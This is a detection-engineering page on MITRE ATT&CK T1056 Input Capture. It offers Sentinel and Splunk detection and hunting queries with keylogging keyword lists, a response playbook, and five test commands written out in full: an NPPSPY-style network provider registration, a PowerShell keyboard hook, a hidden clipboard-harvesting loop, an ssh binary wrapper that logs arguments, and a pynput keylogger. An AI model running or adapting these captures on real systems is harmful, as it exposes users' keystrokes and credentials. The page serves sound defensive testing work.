T1056

Input Capture

Collection Credential Access Last updated:

Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture). Common sub-techniques include keylogging via Windows hooks (SetWindowsHookEx), GUI input capture via credential dialog spoofing, web portal capture via fake login pages, and credential API hooking via DLL injection into authentication processes. Threat actors including APT42, Storm-1811, and APT39 have leveraged these techniques, as have malware families such as InvisibleFerret, Chaes, Kobalos, and NPPSPY.

What is T1056 Input Capture?

Input Capture (T1056) maps to the Collection and Credential Access tactics — the adversary is trying to gather data of interest to their goal in MITRE ATT&CK.

This page provides production-ready detection logic for Input Capture, covering the data sources and telemetry it touches: Process: Process Creation, Process: OS API Execution, Windows Registry: Windows Registry Key Modification, Module: Module Load, Process: Process Access, Microsoft Defender for Endpoint. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Collection Credential Access
Technique
T1056 Input Capture
Canonical reference
https://attack.mitre.org/techniques/T1056/
Microsoft Sentinel / Defender
kusto
// T1056 Input Capture — Multi-Signal Detection
// Covers: Network Provider DLL registration (NPPSPY), suspicious DLL loads into credential processes,
// input hook API usage, and clipboard/keyboard monitoring process activity
let SuspiciousInputAPIs = dynamic([
  "SetWindowsHookEx", "GetAsyncKeyState", "GetKeyState", "GetRawInputData",
  "pyWinhook", "pynput", "keyboard.hook", "InputCapture",
  "WH_KEYBOARD", "WH_KEYBOARD_LL", "WH_MOUSE_LL"
]);
let CredentialProcesses = dynamic(["winlogon.exe", "lsass.exe", "LogonUI.exe", "consent.exe", "credui.exe"]);
// Signal 1: Suspicious network provider DLL registration (NPPSPY technique)
let NetworkProviderReg = DeviceRegistryEvents
| where Timestamp > ago(24h)
| where ActionType in ("RegistryValueSet", "RegistryKeyCreated")
| where RegistryKey has @"SYSTEM\CurrentControlSet\Control\NetworkProvider\Order"
    or (RegistryKey has @"SYSTEM\CurrentControlSet\Services" and RegistryKey endswith @"\NetworkProvider")
| where InitiatingProcessFileName !in~ ("services.exe", "svchost.exe", "msiexec.exe", "TrustedInstaller.exe")
| extend SignalType = "NetworkProviderRegistration"
| project Timestamp, DeviceName, AccountName, SignalType,
    RegistryKey, RegistryValueName, RegistryValueData,
    InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessFolderPath;
// Signal 2: Suspicious DLL loaded into credential/authentication processes
let HookDLLLoad = DeviceImageLoadEvents
| where Timestamp > ago(24h)
| where InitiatingProcessFileName in~ (CredentialProcesses)
| where FolderPath !startswith @"C:\Windows\System32\\"
    and FolderPath !startswith @"C:\Windows\SysWOW64\\"
    and FolderPath !startswith @"C:\Program Files\\"
    and FolderPath !startswith @"C:\Program Files (x86)\\"
| where FileName endswith ".dll"
| extend SignalType = "SuspiciousDLLInCredentialProcess"
| project Timestamp, DeviceName, AccountName=InitiatingProcessAccountName, SignalType,
    FileName, FolderPath, SHA256,
    InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessFolderPath;
// Signal 3: Process creation with input capture indicators
let InputCaptureProcess = DeviceProcessEvents
| where Timestamp > ago(24h)
| where ProcessCommandLine has_any (SuspiciousInputAPIs)
    or (FileName has_any ("keylog", "keyscan", "hookdll", "inputcap", "credcap"))
    or (FolderPath !startswith @"C:\Windows\" and FolderPath !startswith @"C:\Program Files"
        and (ProcessCommandLine has "GetClipboard" or ProcessCommandLine has "Get-Clipboard")
        and ProcessCommandLine has_any ("while", "loop", "sleep", "timer", "interval"))
| extend SignalType = "InputCaptureAPIOrTool"
| project Timestamp, DeviceName, AccountName, SignalType,
    FileName, FolderPath, ProcessCommandLine,
    InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessFolderPath;
// Signal 4: Process injection into Winlogon or credential UI (common for hooking)
let WinlogonInjection = DeviceEvents
| where Timestamp > ago(24h)
| where ActionType == "CreateRemoteThreadApiCall" or ActionType == "ProcessInjection"
| where AdditionalFields has_any ("winlogon.exe", "LogonUI.exe", "credui.exe", "consent.exe")
| extend SignalType = "InjectionIntoCredentialProcess"
| project Timestamp, DeviceName, AccountName, SignalType,
    FileName, ProcessCommandLine=AdditionalFields,
    InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessFolderPath;
// Union all signals
union isfuzzy=true NetworkProviderReg, HookDLLLoad, InputCaptureProcess, WinlogonInjection
| sort by Timestamp desc

Multi-signal detection for T1056 Input Capture covering four distinct attack patterns: (1) malicious network provider DLL registration (NPPSPY technique intercepts Winlogon credentials), (2) unsigned/unexpected DLL loads into credential and authentication processes (winlogon, LogonUI, lsass), (3) process creation with known input capture APIs or tool naming patterns including clipboard monitoring loops, and (4) process injection into credential management processes. Uses DeviceRegistryEvents, DeviceImageLoadEvents, DeviceProcessEvents, and DeviceEvents tables from Microsoft Defender for Endpoint.

high severity medium confidence

Data Sources

Process: Process Creation Process: OS API Execution Windows Registry: Windows Registry Key Modification Module: Module Load Process: Process Access Microsoft Defender for Endpoint

Required Tables

DeviceRegistryEvents DeviceImageLoadEvents DeviceProcessEvents DeviceEvents

False Positives

  • Legitimate accessibility software (screen readers, on-screen keyboards, Dragon NaturallySpeaking) that register low-level keyboard hooks via SetWindowsHookEx
  • Enterprise security products (DLP agents, PAM tools like CyberArk) that monitor credential entry as a security control — these load DLLs into credential processes
  • Password managers (1Password, Bitwarden, KeePass) that hook input fields for autofill functionality
  • Keyboard remapping utilities (AutoHotkey, SharpKeys, Microsoft PowerToys) that legitimately intercept and redirect keystrokes
  • Remote desktop and KVM software (TeamViewer, AnyDesk, VNC) that capture keyboard/mouse input for remote transmission
  • Custom enterprise single-sign-on (SSO) credential providers legitimately registered as network providers in HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order

Sigma rule & cross-platform mapping

The detection logic for Input Capture (T1056) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: process_creation
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 5 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1NPPSPY Network Provider Registration (Credential Interception Setup)

    Expected signal: Sysmon Event ID 12 (RegistryKeyCreate): TargetObject containing HKLM\SYSTEM\CurrentControlSet\Services\TestNPP. Sysmon Event ID 13 (RegistryValueSet): TargetObject containing NetworkProvider\Order with Details showing 'TestNPP' appended to ProviderOrder. Security Event ID 4657 (Registry value modification) if object access auditing is enabled. MDE DeviceRegistryEvents with ActionType=RegistryKeyCreated and RegistryKeyCreated for both the service key and NetworkProvider\Order.

  2. Test 2Low-Level Keyboard Hook via PowerShell PInvoke (SetWindowsHookEx WH_KEYBOARD_LL)

    Expected signal: Sysmon Event ID 1: Process Create with Image=powershell.exe, CommandLine containing 'SetWindowsHookEx', 'WH_KEYBOARD_LL' or value '13', and 'Add-Type'. PowerShell ScriptBlock Log Event ID 4104 with the full PInvoke code including SetWindowsHookEx. MDE DeviceProcessEvents with ProcessCommandLine matching SetWindowsHookEx pattern.

  3. Test 3Clipboard Monitoring Loop with File Exfiltration Simulation

    Expected signal: Sysmon Event ID 1: Process Create with Image=powershell.exe, CommandLine containing 'Get-Clipboard', 'while', 'Start-Sleep', 'Add-Content', '-WindowStyle Hidden'. Sysmon Event ID 11 (File Create): cb_harvest.txt created in %TEMP%. MDE DeviceProcessEvents with ProcessCommandLine matching clipboard + loop pattern. MDE DeviceFileEvents showing file writes to TEMP directory.

  4. Test 4SSH Client Trojanization Simulation (Kobalos Pattern — Linux)

    Expected signal: Auditd: file modification events on /usr/bin/ssh binary (syscall=rename or write). Syslog: file integrity monitoring alerts if AIDE/Tripwire/OSSEC is configured. If Linux auditd with file watches configured: SYSCALL records for rename/unlink on /usr/bin/ssh. Process execution telemetry showing /usr/bin/ssh spawning /tmp/ssh_real as child process. File creation event for /tmp/.ssh_capture.log.

  5. Test 5Python Keylogger via pynput (Cross-Platform)

    Expected signal: Sysmon Event ID 1: Process Create for pip.exe (pynput installation) and python.exe (keylogger execution). CommandLine of python.exe containing 'pynput', 'keyboard', 'Listener', 'on_press'. Sysmon Event ID 7: Image loads for pynput DLL dependencies into python.exe. Network connection (Sysmon Event ID 3) from pip.exe to PyPI for package download during installation phase. MDE DeviceProcessEvents capturing both pip and python command lines.


Response Playbook

Triage

  1. Identify which signal type fired: NetworkProviderRegistration, SuspiciousDLLInCredentialProcess, InputCaptureAPIOrTool, or RemoteThreadInCredentialProcess — each requires a distinct investigation path
  2. For NetworkProviderRegistration: query 'reg query HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order' on the affected host and identify any unknown providers; cross-reference the provider DLL path against known-good software installed on the system
  3. For SuspiciousDLLInCredentialProcess: check the SHA256 hash of the loaded DLL against VirusTotal and your internal threat intelligence; examine when the DLL was written to disk (Sysmon Event ID 11) and what process created it
  4. For InputCaptureAPIOrTool: decode any encoded command line arguments; identify whether the process was spawned interactively, by a scheduled task, or by a parent process with suspicious lineage; check if the process has network connections (Sysmon Event ID 3)
  5. For RemoteThreadInCredentialProcess: identify the source process injecting the thread — check its hash, parent process, and whether it was recently created from a temp or user-writable directory
  6. Check the user context: was this a privileged account (domain admin, service account), an interactive user, or SYSTEM? Input capture on privileged accounts dramatically increases severity
  7. Review the timeline: what happened in the 10 minutes before the alert? Look for execution chains — phishing email opened → malicious document → PowerShell → input capture tool
  8. Check for persistence: look for corresponding scheduled tasks, run keys, or service registrations that would cause the capture mechanism to survive reboots

Containment

  1. If network provider DLL confirmed malicious: immediately remove the malicious provider from HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order via reg delete and delete the DLL from disk; reboot may be required to fully unload it from Winlogon memory
  2. If hooking DLL confirmed active in credential process: isolate the endpoint from the network immediately using EDR isolation — any credentials entered since infection are compromised
  3. Force password resets for ALL user accounts that authenticated on the affected host during the period the capture mechanism was active — do not limit to the affected user; assume all interactive logons are compromised
  4. If clipboard monitoring loop confirmed: terminate the monitoring process, clear the clipboard contents, and audit what data may have been staged or exfiltrated to disk or network
  5. Block any external IP or domain the capturing process communicated with at the perimeter firewall and DNS sinkhole
  6. If lateral movement is suspected: audit authentication logs (Security Event ID 4624, 4648) across your environment for accounts authenticated on the compromised host — treat all such credentials as compromised
  7. Preserve the infected endpoint image before remediation to retain forensic evidence for incident timeline reconstruction

Evidence Collection

  1. Registry hive export: 'reg export HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider C:\temp\np_export.reg' — captures network provider registration state at time of collection
  2. Loaded module list from the credential process: use 'tasklist /m /fi "IMAGENAME eq winlogon.exe"' or Process Explorer to enumerate all DLLs loaded in Winlogon and LogonUI at investigation time
  3. Sysmon Event ID 7 (Image Load) logs filtered to credential processes for the past 30 days — establishes when the suspicious DLL first appeared
  4. Sysmon Event ID 11 (File Create) for the suspicious DLL file — identifies which process wrote the DLL to disk and at what time
  5. Sysmon Event ID 3 (Network Connection) for the capturing process — identifies any exfiltration endpoints the captured credentials may have been sent to
  6. Windows Security Event ID 4688 (Process Creation) with command line auditing enabled — captures full command line of the input capture process
  7. Full memory dump of the suspicious process using Task Manager, ProcDump ('procdump.exe -ma <PID> memdump.dmp'), or EDR memory acquisition — may contain captured keystrokes or credentials in plaintext
  8. Prefetch file for the suspicious executable: 'C:\Windows\Prefetch\<TOOL>.EXE-*.pf' — provides execution history and loaded DLL list
  9. Filesystem timeline from the temp directory, user AppData, and any staging locations identified in the command line — look for files written by the capture tool containing harvested credentials
  10. If NPPSPY-style attack: examine the DLL export table for 'NPLogonNotify', 'NPPasswordChangeNotify', and 'NPGetCaps' — these are the network provider functions abused to intercept credentials

Escalation Criteria

  • ! Any confirmed network provider DLL registration not matching known legitimate SSO or VPN software — this directly captures plaintext credentials from Winlogon and warrants immediate P1 response
  • ! Remote thread injection into Winlogon, LogonUI, or LSASS — indicates active in-memory credential hooking
  • ! Evidence that the capturing mechanism has been active for more than 24 hours — credential exposure window is large, requiring broad password reset scope
  • ! Network connections from the capturing process to external IPs — credentials may already be exfiltrated
  • ! Capturing process running as SYSTEM or a domain admin account — elevated privilege means wider blast radius for captured credentials
  • ! Multiple endpoints showing the same IOCs (DLL hash, network provider name, registry key path) — indicates automated deployment suggesting an advanced persistent threat actor
  • ! Captured data found written to disk in plaintext — immediate review for credential content required before determining scope of compromise

Investigation Guide

Forensic Artifacts

  • > Registry: HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order — ProviderOrder value lists active network credential providers; any unfamiliar entry is suspicious
  • > Registry: HKLM\SYSTEM\CurrentControlSet\Services\<ProviderName>\NetworkProvider — DllPath value points to the credential-capturing DLL for registered network providers
  • > Registry: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages and Authentication Packages — malicious SSPs registered here load into LSASS on boot
  • > File System: Temp directories (%TEMP%, C:\Windows\Temp, user AppData\Local\Temp) — input capture tools often write harvested data to accessible temp files
  • > File System: DLL files in user-writable directories (AppData, ProgramData, Downloads) with exports including NPLogonNotify, NPPasswordChangeNotify, NPGetCaps — indicators of NPPSPY-style providers
  • > Event Log: Microsoft-Windows-Sysmon/Operational — Event ID 7 (Image Load) filtered to winlogon.exe, lsass.exe, LogonUI.exe for all non-system DLL loads
  • > Event Log: Microsoft-Windows-Sysmon/Operational — Event ID 8 (CreateRemoteThread) targeting credential processes
  • > Event Log: Microsoft-Windows-Sysmon/Operational — Event ID 13 (Registry Value Set) for NetworkProvider\Order modifications
  • > Memory: Strings analysis of Winlogon or LSASS process memory may reveal captured credentials or hook code in cleartext
  • > Prefetch: C:\Windows\Prefetch\ — execution history of any suspicious input capture tools with timestamps and loaded library lists
  • > File System: SSH client binary hash comparison on Linux/macOS — Kobalos-style attacks replace the legitimate ssh binary with a trojanized version that logs hostnames, ports, usernames, and passwords

Tuning Guidance

The highest-fidelity signal in this detection is the NetworkProviderRegistration rule — in most enterprise environments, legitimate changes to HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order occur only during software installation (VPN clients, SSO agents, credential providers). Build an explicit allowlist of known-good provider DLL paths and the software titles that install them (e.g., Cisco AnyConnect, GlobalProtect, CyberArk). For the SuspiciousDLLInCredentialProcess signal, tune aggressively by suppressing known-good software hashes rather than path patterns, since attackers can mimic legitimate paths. Collect DLL hashes from a clean baseline of your production endpoints and add them to an allowlist. The InputCaptureAPIOrTool signal will generate the most false positives from accessibility software and RMM tools — suppress by parent process rather than command content (e.g., allow if parent is your known RMM agent process). For the RemoteThreadInCredentialProcess signal, verify that your security vendor processes are excluded (many EDR/AV products legitimately inject into winlogon for tamper protection). On Linux and macOS, complement these Windows-centric detections with monitoring of /dev/input device access, strace/ptrace calls on authentication daemons, and SSH binary integrity checks (hash comparison of /usr/bin/ssh against expected values) to detect Kobalos-style SSH client trojanization.


Hunting Queries

Hunt for new or unusual network provider DLL registrations — the primary mechanism behind NPPSPY-style credential interception. Legitimate network providers (RDPNP, LanmanWorkstation, webclient) rarely change; any modification to this key warrants investigation. Low occurrence across hosts (UniqueHosts < 3) filters out legitimate software deployments while surfacing targeted attacks.

Hunting — KQL
kql
// Hunt for new or unusual network provider DLL registrations over past 30 days
DeviceRegistryEvents
| where Timestamp > ago(30d)
| where RegistryKey has @"SYSTEM\CurrentControlSet\Control\NetworkProvider\Order"
    or (RegistryKey has @"SYSTEM\CurrentControlSet\Services" and RegistryKey endswith @"\NetworkProvider")
| where ActionType in ("RegistryValueSet", "RegistryKeyCreated")
| summarize FirstSeen=min(Timestamp), LastSeen=max(Timestamp), Count=count(),
    Devices=make_set(DeviceName), ChangedBy=make_set(InitiatingProcessFileName)
    by RegistryKey, RegistryValueName, RegistryValueData
| where Count < 3 or array_length(Devices) == 1
| sort by FirstSeen desc
Hunting — SPL
spl
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=13
  (TargetObject="*\\Control\\NetworkProvider\\Order*"
   OR TargetObject="*\\Services\\*\\NetworkProvider*")
| stats count as Changes, dc(host) as UniqueHosts,
        values(host) as AffectedHosts, earliest(_time) as FirstSeen, latest(_time) as LastSeen
        by TargetObject, Details, Image
| where UniqueHosts < 3
| sort - Changes

Hunt for DLLs loaded by credential management processes from non-standard directories. Winlogon, LogonUI, lsass, and credui should almost exclusively load DLLs from System32/SysWOW64 or signed vendor directories. Any DLL loaded from user-writable paths (AppData, Temp, ProgramData outside Microsoft) is a high-confidence indicator of credential hooking or injection.

Hunting — KQL
kql
// Hunt for non-system DLLs loaded by credential and authentication processes
// Baseline: these processes should ONLY load DLLs from System32/SysWOW64 and known product directories
DeviceImageLoadEvents
| where Timestamp > ago(30d)
| where InitiatingProcessFileName in~ ("winlogon.exe", "LogonUI.exe", "lsass.exe", "consent.exe", "credui.exe")
| where FolderPath !startswith @"C:\Windows\System32"
    and FolderPath !startswith @"C:\Windows\SysWOW64"
    and FolderPath !startswith @"C:\Program Files"
    and FolderPath !startswith @"C:\Program Files (x86)"
    and FolderPath !startswith @"C:\ProgramData\Microsoft"
| summarize FirstLoad=min(Timestamp), LastLoad=max(Timestamp), LoadCount=count(),
    DevicesAffected=dcount(DeviceName), Devices=make_set(DeviceName, 5)
    by FileName, FolderPath, SHA256, InitiatingProcessFileName
| sort by DevicesAffected asc, FirstLoad desc
Hunting — SPL
spl
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=7
  (Image="*\\winlogon.exe" OR Image="*\\LogonUI.exe" OR Image="*\\lsass.exe"
   OR Image="*\\consent.exe" OR Image="*\\credui.exe")
  NOT (ImageLoaded="C:\\Windows\\System32\\*" OR ImageLoaded="C:\\Windows\\SysWOW64\\*"
       OR ImageLoaded="C:\\Program Files\\*" OR ImageLoaded="C:\\Program Files (x86)\\*"
       OR ImageLoaded="C:\\ProgramData\\Microsoft\\*")
| stats count as Loads, dc(host) as UniqueHosts, earliest(_time) as FirstSeen,
        values(host) as AffectedHosts by Image, ImageLoaded, Hashes
| sort UniqueHosts asc, - Loads

Hunt for clipboard monitoring loops — a lightweight input capture technique that polls the clipboard at intervals and saves contents to a file for later exfiltration. Unlike keyboard hooks, this approach requires no API hooking and may evade hook-based detection. The combination of clipboard API calls + loop/sleep patterns + file write operations is a high-confidence indicator of malicious clipboard surveillance.

Hunting — KQL
kql
// Hunt for clipboard monitoring loops — lightweight input capture without API hooks
// Pattern: repeated Get-Clipboard or clipboard API calls with sleep intervals suggesting polling
DeviceProcessEvents
| where Timestamp > ago(14d)
| where (FileName in~ ("powershell.exe", "pwsh.exe", "python.exe", "python3.exe")
    and ProcessCommandLine has_any ("Get-Clipboard", "GetClipboard", "Clipboard.GetText", "pyperclip", "win32clipboard"))
    and ProcessCommandLine has_any ("while", "loop", "Start-Sleep", "time.sleep", "sleep")
| extend HasFileWrite = ProcessCommandLine has_any ("Out-File", "Add-Content", "Set-Content", "open(", "write(", ">")
| summarize FirstSeen=min(Timestamp), LastSeen=max(Timestamp), Count=count(),
    CommandLines=make_set(ProcessCommandLine, 3)
    by DeviceName, AccountName, FileName, HasFileWrite
| where Count > 1
| sort by Count desc
Hunting — SPL
spl
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
  (Image="*\\powershell.exe" OR Image="*\\pwsh.exe"
   OR Image="*\\python.exe" OR Image="*\\python3.exe")
  (CommandLine="*Get-Clipboard*" OR CommandLine="*GetClipboard*"
   OR CommandLine="*Clipboard.GetText*" OR CommandLine="*pyperclip*"
   OR CommandLine="*win32clipboard*")
  (CommandLine="*while*" OR CommandLine="*Start-Sleep*" OR CommandLine="*time.sleep*")
| eval WritesToDisk=if(match(CommandLine, "(Out-File|Add-Content|Set-Content|open\(|write\()" ), 1, 0)
| stats count as Executions, dc(host) as Hosts,
        values(CommandLine) as CommandLines by User, Image, WritesToDisk
| sort - Executions

Atomic Red Team Tests

Test 1 NPPSPY Network Provider Registration (Credential Interception Setup)
windows

Simulates the NPPSPY technique by registering a fake network provider DLL in the Windows registry. When Winlogon processes a user logon, it calls NPLogonNotify on all registered providers — a malicious DLL at this position receives plaintext credentials. This test only performs the registry modification (no functional malicious DLL), demonstrating the detection surface. Run as Administrator.

Command

powershell
reg add "HKLM\SYSTEM\CurrentControlSet\Services\TestNPP\NetworkProvider" /v "Name" /t REG_SZ /d "TestNPP" /f && reg add "HKLM\SYSTEM\CurrentControlSet\Services\TestNPP\NetworkProvider" /v "ProviderPath" /t REG_EXPAND_SZ /d "%SystemRoot%\System32\test_npp.dll" /f && for /f "tokens=3" %a in ('reg query "HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" /v ProviderOrder') do @set CURRENT=%a && reg add "HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" /v "ProviderOrder" /t REG_SZ /d "%CURRENT%,TestNPP" /f

Cleanup

powershell
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\TestNPP" /f 2>nul & for /f "tokens=3" %a in ('reg query "HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" /v ProviderOrder') do @set CURRENT=%a & powershell -Command "$v = '%CURRENT%' -replace ',TestNPP',''; reg add 'HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order' /v ProviderOrder /t REG_SZ /d $v /f"

Expected Telemetry

Sysmon Event ID 12 (RegistryKeyCreate): TargetObject containing HKLM\SYSTEM\CurrentControlSet\Services\TestNPP. Sysmon Event ID 13 (RegistryValueSet): TargetObject containing NetworkProvider\Order with Details showing 'TestNPP' appended to ProviderOrder. Security Event ID 4657 (Registry value modification) if object access auditing is enabled. MDE DeviceRegistryEvents with ActionType=RegistryKeyCreated and RegistryKeyCreated for both the service key and NetworkProvider\Order.

Expected Detection

KQL Signal 1 (NetworkProviderRegistration) fires on the NetworkProvider\Order modification from a non-system initiating process (cmd.exe). SPL NetworkProvider sub-search matches Sysmon EventCode=13 on TargetObject containing Control\NetworkProvider\Order.

Test 2 Low-Level Keyboard Hook via PowerShell PInvoke (SetWindowsHookEx WH_KEYBOARD_LL)
windows

Installs a low-level keyboard hook using Windows API SetWindowsHookEx with hook type WH_KEYBOARD_LL (value 13) via PowerShell's Add-Type PInvoke mechanism. This simulates the most common keylogging approach used by malware including InvisibleFerret and Chaes. The hook captures 5 keystrokes then automatically unhooks. Run as standard user — WH_KEYBOARD_LL does not require elevated privileges.

Command

powershell
powershell.exe -ExecutionPolicy Bypass -Command "Add-Type -TypeDefinition @'
using System; using System.Runtime.InteropServices; using System.Diagnostics;
public class KbHook {
  [DllImport(\"user32.dll\")] static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);
  [DllImport(\"user32.dll\")] static extern bool UnhookWindowsHookEx(IntPtr hhk);
  [DllImport(\"user32.dll\")] static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
  [DllImport(\"kernel32.dll\")] static extern IntPtr GetModuleHandle(string lpModuleName);
  delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);
  static IntPtr hookId = IntPtr.Zero; static int count = 0;
  static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) {
    if (nCode >= 0) { count++; Console.WriteLine(\"Key event captured: \" + count); }
    if (count >= 5) UnhookWindowsHookEx(hookId);
    return CallNextHookEx(hookId, nCode, wParam, lParam);
  }
  public static void Install() {
    var proc = new HookProc(HookCallback);
    using (var curProc = Process.GetCurrentProcess())
    using (var curMod = curProc.MainModule)
      hookId = SetWindowsHookEx(13, proc, GetModuleHandle(curMod.ModuleName), 0);
    Console.WriteLine(\"Hook installed. Press 5 keys to auto-unhook.\");
    System.Windows.Forms.Application.Run();
  }
}
'@ -ReferencedAssemblies System.Windows.Forms; [KbHook]::Install()"

Cleanup

powershell
Stop-Process -Name powershell -ErrorAction SilentlyContinue

Expected Telemetry

Sysmon Event ID 1: Process Create with Image=powershell.exe, CommandLine containing 'SetWindowsHookEx', 'WH_KEYBOARD_LL' or value '13', and 'Add-Type'. PowerShell ScriptBlock Log Event ID 4104 with the full PInvoke code including SetWindowsHookEx. MDE DeviceProcessEvents with ProcessCommandLine matching SetWindowsHookEx pattern.

Expected Detection

KQL Signal 3 (InputCaptureAPIOrTool) fires on ProcessCommandLine containing 'SetWindowsHookEx'. SPL InputCaptureAPIOrTool sub-search matches CommandLine='*SetWindowsHookEx*'. SuspicionScore elevated due to presence of both API name and Add-Type (code compilation indicator).

Test 3 Clipboard Monitoring Loop with File Exfiltration Simulation
windows

Deploys a clipboard polling loop that monitors clipboard contents every 3 seconds and appends captured data to a local file — simulating the lightweight input capture method used by many infostealers and RATs as an alternative to API hooking. Runs for 30 seconds then self-terminates. This pattern is used by tools like pyperclip-based stealers and PowerShell-based RATs.

Command

powershell
powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$end = (Get-Date).AddSeconds(30); $outFile = Join-Path $env:TEMP 'cb_harvest.txt'; while ((Get-Date) -lt $end) { $clip = Get-Clipboard -Raw; if ($clip -and $clip.Trim()) { $entry = '[' + (Get-Date -Format 'HH:mm:ss') + '] ' + $clip; Add-Content -Path $outFile -Value $entry; Write-Host $entry }; Start-Sleep -Seconds 3 }; Write-Host 'Monitor complete. Check:' $outFile"

Cleanup

powershell
Remove-Item $env:TEMP\cb_harvest.txt -ErrorAction SilentlyContinue

Expected Telemetry

Sysmon Event ID 1: Process Create with Image=powershell.exe, CommandLine containing 'Get-Clipboard', 'while', 'Start-Sleep', 'Add-Content', '-WindowStyle Hidden'. Sysmon Event ID 11 (File Create): cb_harvest.txt created in %TEMP%. MDE DeviceProcessEvents with ProcessCommandLine matching clipboard + loop pattern. MDE DeviceFileEvents showing file writes to TEMP directory.

Expected Detection

KQL Signal 3 (InputCaptureAPIOrTool) fires on 'Get-Clipboard' + 'while' + 'Start-Sleep' combination. SPL InputCaptureAPIOrTool sub-search matches. KQL hunting query 3 (clipboard loop hunt) also fires. Additional signal from '-WindowStyle Hidden' may trigger T1059.001 detection simultaneously.

Test 4 SSH Client Trojanization Simulation (Kobalos Pattern — Linux)
linux

Simulates the Kobalos malware technique of replacing or wrapping the SSH client binary to capture credentials (hostname, port, username, password) passed to SSH sessions. Creates a wrapper script that logs SSH arguments before calling the real binary. This demonstrates how Kobalos intercepted credentials from compromised HPC cluster SSH clients without kernel-level access.

Command

bash
cp /usr/bin/ssh /tmp/ssh_real && cat > /tmp/ssh_wrapper.sh << 'EOF'
#!/bin/bash
LOGFILE="/tmp/.ssh_capture.log"
echo "[$(date)] ARGS: $@" >> "$LOGFILE"
if [[ "$*" =~ -p[[:space:]]*([0-9]+) ]]; then PORT="${BASH_REMATCH[1]}"; fi
echo "[$(date)] HOST: ${!#} PORT: ${PORT:-22}" >> "$LOGFILE"
exec /tmp/ssh_real "$@"
EOF
chmod +x /tmp/ssh_wrapper.sh && sudo mv /usr/bin/ssh /usr/bin/ssh.bak && sudo cp /tmp/ssh_wrapper.sh /usr/bin/ssh && echo 'SSH wrapper installed. Run: ssh [email protected] to test capture.'

Cleanup

bash
sudo mv /usr/bin/ssh.bak /usr/bin/ssh 2>/dev/null; rm -f /tmp/ssh_real /tmp/ssh_wrapper.sh /tmp/.ssh_capture.log

Expected Telemetry

Auditd: file modification events on /usr/bin/ssh binary (syscall=rename or write). Syslog: file integrity monitoring alerts if AIDE/Tripwire/OSSEC is configured. If Linux auditd with file watches configured: SYSCALL records for rename/unlink on /usr/bin/ssh. Process execution telemetry showing /usr/bin/ssh spawning /tmp/ssh_real as child process. File creation event for /tmp/.ssh_capture.log.

Expected Detection

File integrity monitoring on /usr/bin/ssh modification is the primary detection. Linux auditd rule '-w /usr/bin/ssh -p wa -k ssh_binary_modification' generates SYSCALL records. SIEM correlation: unexpected modification of /usr/bin/ssh binary hash compared to package manager baseline (rpm -V openssh-clients or dpkg --verify openssh-client).

Test 5 Python Keylogger via pynput (Cross-Platform)
windows

Uses the pynput Python library (commonly found in infostealers and post-exploitation tools like InvisibleFerret which uses pyWinhook) to capture and log 10 keystrokes before self-terminating. Demonstrates the Python-based input capture approach used by multiple threat actors in supply chain and job-lure attacks.

Command

powershell
pip install pynput --quiet && python.exe -c "from pynput import keyboard; import time; keys=[]; 
class H:
  def on_press(self, k):
    keys.append(str(k))
    print('Key:', k)
    if len(keys)>=10:
      return False
h=H()
with keyboard.Listener(on_press=h.on_press) as l:
  l.join()
print('Captured:', keys)"

Cleanup

powershell
pip uninstall pynput -y --quiet 2>nul

Expected Telemetry

Sysmon Event ID 1: Process Create for pip.exe (pynput installation) and python.exe (keylogger execution). CommandLine of python.exe containing 'pynput', 'keyboard', 'Listener', 'on_press'. Sysmon Event ID 7: Image loads for pynput DLL dependencies into python.exe. Network connection (Sysmon Event ID 3) from pip.exe to PyPI for package download during installation phase. MDE DeviceProcessEvents capturing both pip and python command lines.

Expected Detection

KQL Signal 3 (InputCaptureAPIOrTool) fires on ProcessCommandLine containing 'pynput'. SPL InputCaptureAPIOrTool sub-search matches 'pynput' pattern. The pip install phase may also trigger software installation monitoring if PyPI download telemetry is available via proxy logs.

Related Detections